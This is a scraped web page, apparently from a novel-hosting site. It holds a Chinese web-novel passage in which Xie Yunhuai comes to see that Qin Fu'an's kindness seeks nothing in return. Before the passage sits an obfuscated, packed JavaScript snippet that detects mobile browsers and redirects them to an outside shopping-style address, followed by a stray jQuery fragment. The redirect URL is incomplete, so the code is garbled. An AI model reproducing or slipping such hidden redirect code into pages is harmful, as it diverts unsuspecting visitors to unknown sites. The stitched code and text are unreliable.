;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12239402|130222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想夸你的灵魂……我很喜欢它们。” “……在我看来……你比它们更可爱。” 那种慢很多拍才想起来的心悸慌乱,那种后知后觉的无措的难以呼吸的战栗感,让谢云淮根本不敢转过身去面对说出这些话的秦扶安。 他的手指紧紧蜷缩着捏成拳,呼吸间却仍旧控制不住自己纷乱隐痛的心跳。 并非心动,而是终于意识到,秦扶安对谢云淮的好,是不图谢云淮任何回报的好。 谢云淮曾经遇到过很多“同桌”,有人冷眼看着他死亡,有人亲手将他推下高楼,也有人看出他的特殊,极力的对他好想要拉拢他保护他。 谢云淮从这些人身上感受到过很多情绪,好的坏的,冷漠的怜悯的不怀好意的。 但在谢云淮眼里,这些人都是有所图,都是在极力从他身上获取某些东西。 后来谢云淮死得越来越早,和“同桌”只见的沟通也越来越少,于是连那些充斥着利益和算计的“好意”都失去了。 秦扶安的出现,打破了他和“同桌”之间的冷漠疏离,强行和他拉近了距离,短短一天时间而已,他已经未经允许擅自靠近了谢云淮无数次。 谢云淮猜秦扶安也和曾经那些人一样对自己有所图。 谢云淮无力抗拒那种灼热温度的靠近,他可耻的推拒又接受,却始终保持着几分理智,冷漠的衡量自己得到的和将来会被索求的利益代价是否同等。 直到秦扶安替他挡下那一口时,谢云淮也不曾有过多少动摇,顶多是在将来的利益交换中再多退让一些。 他想得很好,却没看到天秤两端的砝码正在摇晃着悄然倾斜。 直到秦扶安捂着他的眼睛,将他困在身体和墙壁之间,噙着笑意说出那番奇怪又荒谬的话。 直到此时此刻,谢云淮终于慢了很多拍的感受到那些话里,一字一句间潜藏着的细密温柔。 天秤彻底压向名为秦扶安的那一端。 原来真的有人,可以仅凭一句话,就为自己加注出数不清的砝码。